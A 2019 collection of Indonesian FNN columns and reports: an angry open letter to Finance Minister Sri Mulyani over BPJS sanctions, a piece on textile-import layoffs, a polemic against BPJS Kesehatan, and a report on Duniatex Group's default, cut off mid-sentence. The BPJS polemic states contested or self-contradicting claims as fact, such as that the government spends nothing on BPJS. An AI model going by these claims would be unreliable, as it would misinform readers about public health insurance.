Surat terbuka buat Menteri Keuangan Sri Mulyani Indrawati. Oleh Edy Mulyadi (Wartawan Senior) Jakarta, FNN - Aku mau to the point saja. Sri, sebenarnya kamu kerja untuk siapa? Sebagai Menteri Keuangan Republik Indonesia, bukankah semestinya kamu kerja untuk rakyat Indonesia? Bukankah gaji dan seabrek fasilitas serba wah yang kamu nikmati itu dibayari oleh rakyat Indonesia? Bukankah dalam sumpah yang kamu ucapkan waktu dilantik sebagai menteri antara lain berbunyi: “Saya bersumpah, bahwa saya, setia kepada UUD Negara Republik Indonesia19945 dan akan memelihara segala undang-undang dan peraturan yang berlaku bagi negara Republik Indonesia. Bahwa saya, dengan sekuat tenaga akan mengusahakan kesejahteraan Republik Indonesia.” Sri, sumpahmu itu berat, lho. Apalagi kalau tidak salah, sebelum bersumpah, kalian para menteri yang muslim, termasuk kamu, mengatakan “demi Allah aku bersumpah...” Sumpah itu menyebut-nyebut asma Allah Yang Maha Agung dan Maha Perkasa. Sumpah itu berimplikasi pada tanggungjawab dunia dan akhirat. Allah pasti akan mintai pertanggungjawabannya. Maksudku, itu kalau kamu percaya adanya kehidupan setelah mati, di akhirat. Tapi, terlepas kamu percaya atau tidak dengan balasan di akhirat kelak atas segala perbuatan di dunia, yang pasti kamu sudah bersumpah. Kamu juga sudah menikmati gaji dan bergelimang fasilitas sebagai menteri yang dibayari semuanya oleh rakyat Indonesia. Secara etik, mestinya kamu harusnya merasa punya utang budi kepada rakyat Indonesia. Kamu punya tanggungjawab moral untuk memenuhi sumpah kamu itu. Tapi Sri, kenapa justru perilakumu menabrak sumpah suci itu? Kenapa segala kebijakanmu justru banyak menyusahkan rakyat? Aku tidak mau membahas bagaimana kamu gigih memperjuangkan dan mengusung ekonomi neolib yang terbukti di banyak negara, dan juga di negeri kita, gagal mensejahterakan rayat. Aku juga tidak berminat menyoal hobimu membuat utang ribuan triliun dengan bunga supertinggi. Aku pun tidak mau singgung soal dari tahun ke tahun kamu alokasikan sebagian besar dana di APBN untuk membayar utang. Aku juga ogah ngomongin kenapa kamu justru rajin memangkas belanja sosial (subsidi) Pemerintah untuk rakyat Indonesia yang berakibatnya naiknya harga-harga kebutuhan dasar. Aku pula tidak ingin bicara tentang kepanikanmu dalam menggenjot penerimaan pajak, dengan cara sibuk memajaki aneka hal remeh-temeh yang membebani UMKM dan rakyat kecil. Padahal, pada saat yang sama kamu justru mengurangi bahkan membebaskan bermacam pajak ( tax holiday) barang-barang mewah dan bagi pengusaha dan asing dengan dalih investasi. Kenapa semua kali ini aku tidak berminat membahas itu semua? Karena kamu orang yang kopeg, ndableg. Tidak mempan masukan, apa lagi kritik. Berapa banyak orang dan pihak yang berteriak soal-soal tersebut? Tapi kan kamu selalu ngeles dengan berbagai dalih. Utang terkendali, lah. Mengelola APBN secara prudent, lah. Dan serenceng jurus berkelit lainnnya yang jadi andalanmu. Kamu abaikan semua kekhawatiran dan ketakutan akan kebijakanmu yang lebih banyak menyenangkan ‘pasar’ sekaligus pada saat yang sama justru menyusahkan rakyat Indonesia sendiri. Jadi, pertanyaan di pembuka surat ini sekali lagi aku ajukan kepadamu. Pertanyaan ini makin menemukan konteksnya, ketika kamu mengusulkan agar penunggak iuran BPJS dikenai sanksi tidak bisa mengurus SIM dan sekolah anaknya. Sadarkah kamu ketika mengucapkan usul ini? Sehatkah kamu saat mulutmu berucap seperti ini? Sri, kamu kan menteri. Mosok kamu tidak tahu, bahwa perpanjangan SIM itu penting banget, khususnya bagi para sopir dan pengendara motor, termasuk tukang ojek. Kamu bisa bayangkan apa yang akan terjadi pada mereka kalau saat bekerja di atas roda tanpa mengantongi SIM yang masih berlaku? Jika lagi apes, mereka akan ketanggor polisi. Mereka bisa kena tilang atau memberi ‘uang damai’ kepada Polantas. Mereka harus keluar uang tambahan, Sri. Kamu tahu, kan, bahwa mereka adalah orang-orang kecil yang mengandalkan duit receh agar bisa menghidupi anak, istri dan keluarganya. Dengan uang recehan itu mereka membeli beras, membayar tagihan dan atau pulsa listrik, membeli gas ukuran tiga kg, membayar uang sekolah anak-anak, membayar belanjaan di pasar-pasar tradisional, dan membayar segala kebutuhan dasar mereka. Jadi, kalau rakyat telat atau tidak sanggup membayar iuran BPJS, karena uang mereka sudah habis untuk berbagai kebutuhan dasar tadi. Jangankan membayar denda, untuk membayar iuran rutin bulanan saja mereka tidak sanggup. Mereka tidak punya duit, Sri! Kamu tahu konsekwensi bagi para penunggak iuran BPJS? Pasti kamu baca berita, ada yang tidak bisa membawa pulang jenazah keluarganya dari rumah sakit karena menunggak iuran BPJS seperti yang dialami Lilik Puryani, anak Suparni. Dia terpaksa menjaminkan sepeda motor untuk mengambil jenazah ayahnya yang dirawat dan meninggal dunia di RSI Madiun yang menyodorkan pembayaran sebesar Rp6.800.000. Padahal, sangat boleh jadi, sepeda motor itu menjadi tulang punggung keluarga tadi dalam mengais nafkah yang receh-receh. Kamu pasti tahu persis, rakyat kecil tidak sama dengan kamu yang menteri. Buat kamu, Rp6,8 juta pasti tidak berarti, bahkan jika deretan nolnya ditambah beberapa lagi. Rakyat harus berjuang ekstra keras agar bisa sekadar bertahan hidup di tengah gempuran harga-harga yang terus merangkak naik. Sedangkan kamu, gajimu besar. Kekuasan dan kewenanganmu lebih besar lagi. Listrik dan kebutuhanmu yang lainnya ditanggung oleh negara. Supirmu dibayari negara. BBM mobil supermewahmu dibayari negara. Baju dinas di kementerinmu yang mentereng itu, juga dibeli dengan uang rakyat. Perjalanan dinasmu yang terbang dengan kelas eksekutif, kamar hotel mewahmu, kartu kreditmu semua dibayari negara. Kamu hidup dengan serba gratisan, Sri. Dan semua itu dibayari oleh rakyat. Kamu tahu persis, kan, Sri? Satu lagi. Sri, kamu kan intelektual. Gelar akademismu doktor lulusan luar negeri, Amerika Serikat pula. Keren sekali. Sebagai intelektual, kamu pasti paham betul pentingnya pendidikan. Kamu pasti tahu persis, bahwa dengan pendidikan peluang seseorang memperbaiki nasibnya lebih terbuka lebar ketimbang orang yang tidak atau kurang berpendidikan. Tapi, Sri, sebagai intelektual dan menteri kenapa kamu tega mengusulkan agar penunggak iuran BPJS dikenai sanksi tidak bisa mengurus sekolah anaknya. Jahat sekali kamu! Kalau dulu penjajah Belanda melarang rakyat Indonesia yang mereka sebut inlander untuk bersekolah, aku masih bisa memahami alasannya. Belanda tidak ingin rakyat Indonesia pintar, agar mereka bisa melestarikan penjajahannya atas negeri yang berjuluk rangkaian Jamrud Katulistiwa. Tapi Sri, usul yang berimpilkasi menghalangi rakyat Indonesia bersekolah dan menjadi pintar kali ini datang dari kamu. Seorang menteri, intelektual sekaligus WNI asli keturunan Indonesia. Aku harus bilang apa dengan fakta seperti ini? Kamu benar-benar jahat. Kamu sadis terhadap rakyat Indonesia yang sudah menanggung gaji dan bermacam fasilitasmu sebagai menteri. Atau, barangkali kamu mau mengelak, bahwa tidak semua kebutuhan hidupmu dibayari rakyat? Mungkin kamu juga dapat penghasilan dari jasa atau sebagai pembicara di aneka forum bergengsi karena intelektulitas dan atau pengalamanmu. Tapi Sri, biarkan aku mengingatkanmu, bahwa betapa pun dan bagaimana pun, kamu tetaplah WNI. Kamu tetap rakyat Indonesia asli, bukan keturunan. Mosok kamu tega dan jahat kepada saudara-saudaramu sesamat rakyat Indonesia? Sri, sebagai menteri dan intelektual, kamu pasti tahu, bahwa ada amanat konstitusi yang mewajibkan negara mencerdaskan kehidupan bangsa. Kalau kamu lupa, aku kutipkan sebagian dari paragraf empat UUD 1945: "Kemudian daripada itu untuk membentuk suatu pemerintah negara Indonesia yang melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia dan untuk memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa,..” Cetak miring dan bold sengaja kulakukan untuk memberi penekanan, barangkali kamu luput memperhatikan. Pertanyaannya, bagaimana rakyat bisa cerdas jika kamu yang jadi menteri justru menghalang-halangi mereka bersekolah hanya karena mengunggak iuran BPJS? Di mana hati nuranimu? Masih adakah? Kalau pun ada, masihkah hati nuranimu itu hidup? Tidakkah cukup penderitaan rakyat saat bosmu yang presiden itu akan menaikkan iuran BPJS dua kali lipat? Di mana juga hatimu, ketika dengan enteng kamu bermaksud menaikkan gaji direksi BPJS? Padahal, fakta dan bukti menunjukkan mereka tidak becus mengelola perusahaan asuransi yang di-back-up kekuasaan. Terakhir, sebagai menteri keuangan, tentu kamu paham betul bahwa BPJS bukanlah pajak atau pendapatan negara bukan pajak (PNBP) . Tidak ada secuil pun aturan apalagi UU yang mewajibkan rakyat membayar iuran BPJS. Kalau sekarang rakyat dipaksa ikut dan membayar iuran BPJS, dengan segala sanksinya yang tidak masuk akal dan kejam, itu karena kalian para pejabat publik telah berlaku sangat zalim kepada rakyatnya sendiri. Bagaimana mungkin menteri keuangan dan intelektual seperti kamu tidak paham perbedaan antara pajak, PNBP, dan iuran? Namanya saja iuran, mana bisa dijadikan kewajiban. Iuran itu hanya berlaku bagi yang terlibat. Iuran RT, misalnya, hanya wajib bagi warga lingkungan RT yang bersangkutan. Lagi pula, BPJS sejatinya adalah manipulasi negara terhadap rakyat. BPJS bukanlaah jaminan kesehatan oleh negara kepada rakyat sebagaimana diamanatkan dalam Pasal 34 ayat 2 UUD 1945. Di situ disebutkan, “ negara wajib memberikan jaminan kesehatan bagi seluruh rakyat Indonesia.” BPJS hanyalah perusahaan asuransi yang berlindung di balik ketiak penguasa, ya di antaranya kamu. BPJS adalah bentuk kesewenang-wenangan negara yang amat luar biasa terhadap rakyatnya. Tolong tunjukkan kepadaku, di belahan bumi mana ada negara yang mewajibkan rakyatnya untuk menjadi peserta asuransi? Sudahlah Sri, bertobatlah. Jabatan yang kamu banggakan itu sama sekali tidak abadi. Cepat atau lambat akan selesai. Berakhir. Dan, yang lebih penting lagi, kalau kamu orang yang beragama, tentu kamu yakin adanya akhirat. Kelak, kamu harus mempertanggungjawabkannya di hadapan mahkamah yang anti suap dan KKN. Ngeri, lho Sri! [*] Jakarta, 6 September 2019

Industri Tekstil Kita di Pintu Kebangkrutan

Tekstil dan pakaian jadi dari China menjadi petaka bagi industri tekstil dan produk tekstil (TPT) Indonesia. Pemerintah terkesan melakukan pembiaran. Kini, industri tekstil dalam negeri berada di pintu kebangkrutan. Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Stok TPT menumpuk di gudang-gudang akibat barang tak bisa dijual. Ada sekitar 1,5 juta bal benang dan 970 juta meter kain menumpuk di gudang-gudang industri tekstil. Barang sebanyak itu nilainya kira-kira Rp30 triliun atau setara dengan 2-3 bulan stok. Stok yang menggunung, membuat industri tekstil kesulitan memutar modal kerja. Ketua Umum Ikatan Ahli Tekstil Seluruh Indonesia (IKATSI), Suharno Rusdi, memperkirakan jika ini dibiarkan maka 2-3 bulan ke depan akan ada perusahaan yang tidak mampu membayar upah karyawan bahkan tidak mampu membayar pesangon untuk karyawan yang di-PHK. “Hanya beberapa perusahaan yang bermodal kerja kuat saja yang mampu bertahan,” ujarnya, Kamis (29/8). IKATSI telah menyampaikan secara resmi kepada beberapa menteri terkait atas kondisi itu dengan harapan keran izin impor ditutup. Jika banjir produk impor dikurangi maka produk dalam negeri yang menumpuk dapat terjual. "Intinya kami meminta pemerintah mengubah kebijakan perdagangan agar lebih pro produk dalam negeri dan bisa menguasai pasar domestik, sambil kita tingkatkan daya saing agar bisa lebih bersaing untuk ekspor," kata Suharno. Sekjen Asosiasi Produsen Synthetic Fiber Indonesia (APSyFI), Redma Gita Wirawasta, mengganggap biang kerok lonjakan impor TPT adalah Permendag 64 Tahun 2017 tentang Ketentuan Impor Tekstil dan Produk Tekstil. "Impor seharusnya tidak diterapkan untuk bahan baku yang bisa dipenuhi oleh industri dalam negeri," katanya. Sebelum aturan tersebut terbit, impor sudah membanjiri pasar dalam negeri. Kondisi semakin kritis pasca beleid tersebut berlaku. Sepanjang tahun lalu, pertumbuhan impor TPT melonjak 13,8%. Sektor yang paling terpukul oleh barang impor adalah sektor pembuatan kain, sementara sektor yang masih cukup baik adalah industri paling hilir atau industri pakaian jadi. Di sisi lain, kondisi makin tak terkendali sejak perang dagang antara China dan Amerika Serikat (AS). Produk China yang tadinya mengalir ke negeri Paman Sam sejak Mei lalu sebagian membanjiri pasar Indonesia. Berdasarkan catatan S&P, bea masuk baru senilai 25% yang dikenakan oleh AS untuk produk impor asal China, termasuk tekstil, telah membuat produsen tekstil asal Negeri Panda itu merelokasi penjualannya ke negara-negara yang lebih bersahabat seperti Indonesia. Gempuran produk dari China itu membuat pasar tekstil dalam negeri kebanjiran pasokan (oversupply) sehingga harga pun jatuh. Di saat yang bersamaan, S&P mencatat, konsumsi masyarakat Indonesia sedang relatif lemah. Pemutusan Hubungan Kerja Ketua Umum Dewan Pengurus Nasional Federasi Kesatuan Serikat Pekerja Nasional (DPN-FKSPN), Ristadi, menyebut ada tiga juta pekerja di industri tekstil. Pada saat ini sudah sekitar 40 ribuan karyawan yang dirumahkan. "PT PIR ada 14 ribu yang di PHK belum lagi PT IKM dan PT UNL bahkan sudah tutup," sebutnya. Wakil Sekretaris Asosiasi Pertekstilan Indonesia (API) Jawa Barat, Rizal Tanzil mengungkap tengah terjadi gelombang merumahkan pekerja dan PHK di industri tekstil Jawa Barat khususnya di wilayah Bandung Raya. "Laporan dari anggota kami per Juli kemarin, total sudah 36 ribu karyawan yang dirumahkan," katanya. Hitungan itu sepanjang dua tahun terakhir, 2017-2019. PHK terjadi menyusul langkah perusahaan menurunkan produksi. Kini banyak perusahaan pada tingkat utilisasi di kisaran 30- 40%. Selain kalah bersaing dengan barang murah dari China, dalam kasus industri TPT Bandung Raya, karena ada kebijakan menutup Instalasi Pengolahan Air Limbah (IPAL) bagi industri yang dianggap mencemari sebagai bagian dari program Sungai Citarum Harum. "Bahkan beberapa sudah ada yang stop produksi seluruhnya, terutama IKM," tambahnya. Berlebihan API menganggap masalah impor memang sudah berlebihan. Soalnya, barang dari manca negara tersebut sudah diproduksi di Tanah Air. Itu sebabnya ia meminta Menteri Perdagangan merevisi Peraturan Menteri Perdagangan (Permendag) No.64/2017. Revisi itu diperlukan dalam hal pengetatan ketentuan kepada para importir pemegang angka pengenal importir umum (API-U). Pasalnya selama ini ketentuan impor yang diberikan kepada API-U terlalu longgar sehingga memicu lonjakan impor produk jadi melalui pusat logistik berikat (PLB). Menteri Perindustrian (Menperin), Airlangga Hartarto, juga mengakui ada impor berlebih pada produk TPT sehingga terjadi PHK. "Ijin impor ditutup saja dulu, kecuali impor bahan baku untuk kepentingan ekspor yang melalui Kawasan Berikat (KB) dan Kemudahan Impor Tujuan Ekspor (KITE)," tambah Redma. Direktur Jenderal Industri Kimia, Farmasi, dan Tekstil (IKFT) Kementerian Perindustrian, Achmad Sigit Dwiwahjono, mengungkap industri tekstil mengalami penurunan sekitar 1% karena banyak impor bahan baku yang masuk selama 3 bulan pertama tahun ini. Padahal pada kuartal akhir tahun lalu sektor ini masih mampu tumbuh sebesar 6%. Salah satu yang menjadi perhatian Kemenperin adalah impor yang masuk melalui pusat logistik berikat. Menperin berjanji akan mereview lagi karena sekarang ada importir umum melalui PLB. “Apalagi perang dagang China-AS dan devaluasi China sehingga produk dari China akan kompetitif," kata Airlangga. PLB selama ini memudahkan bagi eksportir maupun importir dalam menyimpan barang mereka, sebagai kawasan berikat. Namun, Airlangga tak merinci persoalan apa yang terjadi pada PLB dan kaitannya dengan impor TPT yang berlebihan. “Dulu yang boleh impor API-P [angka pengenal impor-produsen] saja, sekarang API-U [angka pengenal impor-umum] boleh impor lewat PLB dan aturan di PLB tidak jelas. Semua barang bisa masuk PLB, jadi keblabasan,” imbuh Redma. Redma memberikan beberapa usulan revisi. Salah satunya terkait ketentuan impor. Produk TPT yang sudah bisa diproduksi di dalam negeri HS 52, 54 sampai 62, diusulkan agar dimpor oleh hanya oleh importir yang mengantongi Angka Pengenal Impor-Produsen (API-P) yang mendapat pengenal impor tekstil saja. “Yang kami minta antara lain revisi Permendag No.64/2017 dan perbaikan impor melalui PLB serta perlindungan safeguard untuk produk hulu hingga hilir seperti yang dilakukan pemerintah Turki,” ujar Redma. Sedangkan untuk peningkatan daya saing, ia mengatakan pemerintah dapat membantu dengan memberikan insentif. Namun, insentif yang dimaksud, katanya, sebaiknya dipakai untuk meringankan ongkos produksi. Kementerian Perdagangan selalu berdalih impor diperlukan sebagai bahan baku ekspor. Padahal, dalam kasus impor tektil tidak begitu. Pasalnya pemerintah telah memberikan fasilitas kawasan berikat dan kemudahan impor tujuan ekspor (KITE). Adapun untuk UKM garmen bahan bakunya bisa dipenuhi oleh UKM tenun dan rajut. Kini, industri tesktil sudah megap-megap. Hanya kepada Menteri Perdagangan, Enggartiasto Lukito, mereka berharap. Atur impor tekstil dengan benar. End.

Woi...Pemerintah Bilang Aja Terus Terang: Kami Tidak Becus Mengelola BPJS

Alih-alih pemerintah bisa memberikan perlindungan dan jaminan kesehatan secara gratis kepada masyarakat miskin, yang terjadi sekarang pemerintah justru merampok uang rakyat melalui kewajiban membayar iuran BPJS. Kalau membandel, pengurusan surat-surat akan dipersulit. Bahkan yang lebih serem lagi pemerintah melalui PT BPJS akan menagih iuran BPJS secara door to door ke rumah-rumah penduduk. Oleh Tjahja Gunawan(Wartawan Senior) Jakarta, FNN - Terus terang saya terpaksa menulis kembali persoalan BPJS ini karena jalan keluar yang diambil pemerintah benar-benar sudah sangat mendzolimi rakyat. Sebelum mengurai lebih jauh soal BPJS, saya sertakan hasil liputan portal berita kompas tanggal 7 Agustus 2019 berjudul "Jangankan untuk Denda, Bayar Iuran BPJS Saja Kami Telat". Suparni (55), istri almarhum Sabbarudin, warga Desa Gondang Karang Rejo, Kabupaten Magetan, Jawa Timur, mengaku tidak memiliki uang untuk membayar denda keterlambatan BPJS. "Jangankan untuk membayar denda, untuk membayar iuran bulanan saja terlambat," ujar Suparni, Rabu (7/8/2019). Akhirnya Lilik Puryani, anak Suparni, terpaksa menjaminkan sepeda motor untuk mengambil jenazah ayahnya yang dirawat dan meninggal dunia di RSI Madiun. Lilik Puryani mengatakan, saat itu pihak rumah sakit tiba-tiba menyodorkan pembayaran sebesar Rp 6.800.000 ketika keluarga akan membawa pulang jenazah Sabbarudin. Keluarga yang tidak memiliki uang untuk membayar akhirnya menjaminkan sepeda motor kepada pihak rumah sakit. Kepala Bagian Keuangan RSI Siti Aisyiah Kota Madiun Fitri Saptaningrum didampingi Humas dan Pemasaran Syarif Hafiat mengatakan, prosedur di rumah sakit, biaya pasien harus dibayar lunas sebelum keluar dari rumah sakit. Menurut Fitri, saat itu pasien tidak dibiayai BPJS. Sebab, masih ada denda keterlambatan pembayaran premi BPJS yang belum dibayar. Dalam kasus diatas, seharusnya pemerintah yang turun tangan dengan membebaskan beban yang dialami keluarga Suparni. Derita yang dialami Suparni betul-betul sangat tragis. Suparni ditinggal suaminya meninggal, lalu keluarganya harus menanggung beban karena terpaksa harus menjaminkan sepeda motor pada pihak RSI Madiun agar bisa mengambil jenazah suaminya dari rumah sakit. Penderitaan yang hampir sama dialami masyarakat perkotaan akibat BPJS ini. Tetangga saya di Kompleks Perumahan Bumi Serpong Damai (BSD), Tangerang Selatan mengeluh: "Saya sudah punya kartu berobat keluarga yang diberikan kantor. Eh saat anak saya diterima di perguruan tinggi pemerintah, diminta untuk membuat kartu BPJS untuk anak saya sebagai syarat kewajiban siswa.Saat mengurusnya, pihak BPJS menyatakan pembuatan kartu BPJS sesuai kartu keluarga dimana terdaftar nama ayah, ibu dan beberapa anak. Mereka bilang harus semua bikin BPJS dan setor dananya sesuai daftar nama di Kartu Keluarga. Jadi pemerintah mewajibkan semua orang untuk miliki BPJS, tidak peduli mereka yang sudah memiliki asuransi atau jaminan kesehatan dari kantor". Hal yang sama disampaikan salah satu pendengar Radio Dakta di Bekasi ketika saya menjadi nara sumber tetap di radio tersebut. Kini isu BPJS sudah menjadi masalah masyarakat akibat ketidakbecusan pemerintah khususnya Kementerian Keuangan terutama PT BPJS Kesehatan dalam mengola dana masyarakat untuk program perlindungan kesehatan. Program BPJS Kesehatan diberlakukan 1 Januari 2014. Program ini mengganti asuransi kesehatan dari pemerintah yang dikenal dengan Askes. BPJS Kesehatan membagi pesertanya menjadi dua kategori yakni PBI (Penerima Bantuan Iuran) dan peserta BPJS Kesehatan. Peserta BPJS Kesehatan dibagi dalam tiga kelas yakni kelas tiga, kelas dua, dan kelas satu yang iurannya berbeda. Setelah dinaikkan per 1 April 2016, iuran BPJS Kesehatan untuk kelas satu Rp 80 ribu/bulan, kelas dua Rp 51 ribu/bulan, dan kelas tiga Rp 25.500/bulan. Tahun 2020, iuran BPJS kembali akan dinaikkan kecuali peserta BPJS mandiri kelas tiga. Alih-alih pemerintah bisa memberikan perlindungan dan jaminan kesehatan secara gratis kepada masyarakat miskin, yang terjadi sekarang pemerintah justru merampok uang rakyat melalui kewajiban membayar iuran BPJS. Kalau membandel, pengurusan surat-surat akan dipersulit. Bahkan yang lebih serem lagi pemerintah melalui PT BPJS akan menagih iuran BPJS secara door to door ke rumah-rumah penduduk. Sebenarnya selama ini masyarakat ditipu oleh BPJS Kesehatan. BPJS bukanlah jaminan kesehatan bagi masyarakat. Banyak masyarakat yang beranggapan bahwa BPJS adalah jaminan kesehatan dari pemerintah, padahal BPJS itu fungsinya tidak lebih dari asuransi. BPJS didanai dari uang pribadi masyarakat. Pemerintah meminta masyarakat menyetor sejumlah uang untuk dikumpulkan dan nantinya digunakan untuk biaya pengobatan. Seluruh uang yang disetorkan masyarakat kemudian dihimpun oleh PT BPJS Kesehatan. Lalu uang tersebut dialokasikan untuk membiayai pengobatan anggota BPJS yang sedang sakit. Sekali lagi, dana ini sebenarnya berasal dari masyarakat dan bukan dana APBN. Sekarang pemerintah telah mewajibkan seluruh masyarakat untuk membayar iuran BPJS. Sementara dana yang dikumpulkan secara massif tersebut hanya digunakan sebagian saja yakni hanya untuk anggota masyarakyat yang sedang sakit. BPJS adalah kamuflase pemerintah untuk menutupi penyelewengan dana subsidi BBM. Banyak diantara masyarakat yang mengira BPJS didanai dari pengalihan subsidi dari BBM ke bidang kesehatan. Masyarakat lupa bahwa setiap bulannya mereka harus menyetor dana minimal Rp 25.000 per bulan. Saat ini peserta BPJS berjumlah sekitar 168 juta orang. Dengan demikian, jumlah dana BPJS yang dihimpun dari masyarakat oleh pemerintah mencapai lebih dari Rp.4,2 tilyun per bulan atau lebih dari Rp 50,4 trilyun per tahun. Itu uang yang dikumpulkan langsung dari masyarakat, bukan dari sektor pajak atau pengalihan subsidi BBM. Kok sekarang tiba-tiba PT BPJS kesehatan mengalami defisit keuangan sebesar Rp 32 trilyun. Jadi semakin jelas bahwa BPJS merupakan sebuah badan usaha yang fungsinya sebagai pengeruk keuntungan bagi pemerintah. BPJS Kesehatan bukan mengelola dana khusus dari APBN untuk jaminan kesehatan. Dengan adanya BPJS, pemerintah sama sekali tidak pernah memberikan jaminan kesehatan gratis kepada masyarakat. Padahal selama ini pemerintah selalu menyebarkan propaganda bahwa BPJS adalah subsidi kesehatan gratis dari pemerintah. Padahal pemerintah tidak mengeluarkan biaya sepeserpun untuk BPJS. Dan BPJS itu murni seribu persen berasal dari dana masyarakat. Dengan biaya iuran BPJS sebesar Rp 25.000 per bulan, seharusnya masyarakat memperoleh kualitas pelayanan kesehatan maksimum di rumah sakit yakni di kelas VIP. Namun karena PT BPJS Kesehatan kini didaulat untuk menjadi Badan Usaha yang bertugas memberikan keuntungan sebesar-besarnya terhadap pemerintah, maka tidak heran bila pasien peserta BPJS banyak yang dibatasi penggunaan obatnya di RS. BPJS tidak meng-cover obat-obatan yang bermutu bagus. Alhasil pasien cuma mendapatkan obat-obatan ala kadarnya. BPJS adalah pesan nyata dari Pemerintah yang artinya “Masyarakat miskin tidak boleh sakit”. Wajar bila kita berpendapat demikian, sebab tidak bisa kita pungkiri bahwa pelayanan kesehatan bagi peserta BPJS sangat jauh dari kelayakan. Bayangkan saja bila pasien tidak ada uang untuk menebus resep obat yang tidak di-cover oleh BPJS, mungkin bukan malah jadi sehat, pasien justru cuma bisa pasrah menahan sakit. Apakah ini yang disebut dengan Jaminan Kesehatan ? BPJS adalah bentuk pengingkaran terhadap UUD 1945 Perubahan, Pasal 34 ayat 2 yang menyebutkan bahwa negara wajib memberikan jaminan kesehatan bagi seluruh rakyat Indonesia. End.

Awas, Duniatex Group Bisa Jadi Pusat Tsunami Baru Perbankan

Oleh Hudzaifah (Wartawan Senior) Jakarta, FNN - Reputasi Duniatex Group sebagai raja tekstil dari Solo mulai goyah, terutama sejak 10 Juli 2019 obligasi dolarnya mengalami default (gagal bayar) senilai US$11 juta dan kredit Rp17 triliun di 29 bank mulai mengalami eskalasi kolektabilitas 1, 2 dan 3 dan tidak menutup kemungkinan menjadi 4 dan 5. Di pasar keuangan juga mulai ramai kabar bahwa kontrak forward valas Duniatex Group dianggap tidak settle (tidak dibayar) di Maybank Indonesia. Bahkan kabar missed payment kredit banknya cukup menjadi cerita dari mulut ke mulut di kalangan bankir. Situasi ini diperparah dengan adanya perang dagang China dengan Amerika yang berdampak ke Indonesia, ditandai dengan gempuran tekstil dan produk tekstil murah ke Indonesia. Situasi ini menambah buruk kinerja kolektabilitas kredit Duniatex Group di industri perbankan. Pertanyaannya, kondisi yang bisa menjerumuskan Duniatex Group ke potensi kredit macet dan gagal bayar obligasi apakah murni karena situasi krisis atau ada kesalahan langkah bisnis. Atau bahkan buah dari keserakahan grup bisnis yang dibangun Hartono, pengusaha tekstil asal Solo, sejak 1974 itu? Kini dilanjutkan oleh anaknya, Sumitro. Teka-teki mengapa Duniatex Group mengalami eskalasi kolektabilitas kredit, default obligasi valas dan kontrak forward valas yang tidak dibayar, belakangan makin terkuak. Setidaknya dari bocoran beberapa bankir yang menghindari kredit ke Duniatex Group, maupun dari bankir yang sudah terlanjur menggelontorkan kredit ke anak-anak perusahaan grup tekstil itu. Duniatex Group memiliki 25 pabrik yang terdiri atas enam entitas perusahaan di tiga lini produksi dan mempekerjakan sedikitnya 45.000 pekerja Duniatex Group mendirikan PT Delta Merlin Dunia Tekstil (DMDT) pada 1998 yang memiliki lini bisnis penenunan (weaving) atau proses mengolah benang menjadi kain, menjadi satu dari enam perusahaan utama yang dikonsolidasikan di laporan keuangan Grup Duniatex. Perusahaan yang dikonsolidasikan Grup Duniatex termasuk PT Delta Dunia Tekstil (DDT) dan PT Delta Merlin Sandang Tekstil (DMST) yang sama-sama didirikan pada 2006, berdasarkan data profil perusahaan (company profile) Duniatex. 

DDT dan DMST bersama dengan PT Delta Dunia Sandang Tekstil (DDST) yang didirikan pada 2010 sama-sama bergerak di bidang pemintalan (spinning) atau proses membuat benang dan serat dari kapas atau bahan lain seperti bahan sintetis. Lini bisnis lain dari Duniatex adalah bisnis pewarnaan (dyeing) dan bisnis hilir produk akhir (finishing) yang dikelola oleh PT Damaitex Ltd yang diambilalih pada 1992 dan PT Dunia Setia Sandang Asli (DSSA). Satu perusahaan yang disebut milik Duniatex tetapi tidak dikonsolidasikan di laporan keuangan kelompok usaha tersebut adalah PT Dunia Sandang Abadi yang didirikan pada 1998. Duniatex sendiri didirikan dengan nama CV Duniatex sejak 1974 di Surakarta (Solo) oleh Hartono dengan lini bisnis finishing tekstil. Dari seluruh perusahaan tersebut, artinya perusahaan belum memiliki lini bisnis garmen (garment) atau pembuatan pakaian yang merupakan produk akhir dari bisnis tekstil. Isu turunnya reputasi keuangan Duniatex Group bermula ketika anak perusahaannya di bidang penenunan, DMDT, mengalami gagal bayar (default) pembayaran kupon obligasi global. Sehingga lembaga rating Standard & Poors (S&P) memangkas habis peringkat utang jangka panjang Duniatex termasuk juga surat utang unsecured notes yang diterbitkan perusahaan dari BB- menjadi CCC-. Tentu saja isu ini merambat ke telinga para bankir, seolah memberi isyarat bahwa potensi kenaikan eskalasi kolektabilitas kreditnya sangat tinggi di 29 bank. Itu sebabnya Otoritas Jasa Keuangan (OJK) melakukan review sangat ketat dan memantau day to day agar kolektabilitas kredit Duniatex Group bisa dijaga dan tidak terus meningkat. Direktur Utama BRI Suprajarto mengatakan, kredit Duniatex di bank-nya masuk kategori kolektabilitas 2. Ini artinya, Duniatex sudah memiliki tunggakan kewajiban selama satu sampai dua bulan. Bila tunggakan berlanjut hingga tiga sampai empat bulan, maka kredit akan masuk kategori kolektabilitas 3 sehingga diperhitungkan sebagai kredit bermasalah (NPL). Meski begitu, Suprajarto menyatakan pihaknya tidak terlalu khawatir dengan risiko kredit Duniatex Group. Ia menjelaskan status kredit yang masih kolektabilitas 2 menunjukkan kelancaran pembayaran kredit masih cukup bagus. Selain itu, nilai jaminan cukup bila kredit tersebut macet. BRI juga sudah melakukan pencadangan untuk kredit Duniatex sebesar 20%. Saat ini, portofolio kredit BRI di Duniatex sebesar Rp1,4 triliun dan pinjaman nontunai sekitar Rp400 miliar. "Jaminan 127%, jadi kami tidak khawatir-khawatir amat. Jaminan kami relatif marketable, jadi ini yang membuat kami bisa segera mencari exit solusi-nya," ujarnya. Tapi kabarnya Menteri BUMN Rini Mariani Soemarno tidak puas dengan kasus ini, sehingga posisi Suprajarto digeser menjadi Dirut PT Bank Tabungan Negara Tbk. Ia pun memilih mengundurkan diri sebagai bentuk penolakan pergeseran posisi jabatan dirut bank. Beberapa bank lain juga tercatat memiliki portofolio kredit di Duniatex Group, seperti PT Bank Mandiri Tbk, PT Bank Negara Indonesia Tbk, dan Lembaga Pembiayaan Ekspor Indonesia atau Eximbank. Pada akhir Juli, Sekretaris Perusahaan Bank Mandiri Rohan Hafas menyatakan portofolio kredit di Duniatex sebesar Rp1,7 triliun, namun status kredit masih kolektabilitas 1, alias lancar. Ia meyakinkan risiko kredit terkendali lantaran didukung jaminan berupa aset tetap bernilai lebih dari 100% nilai 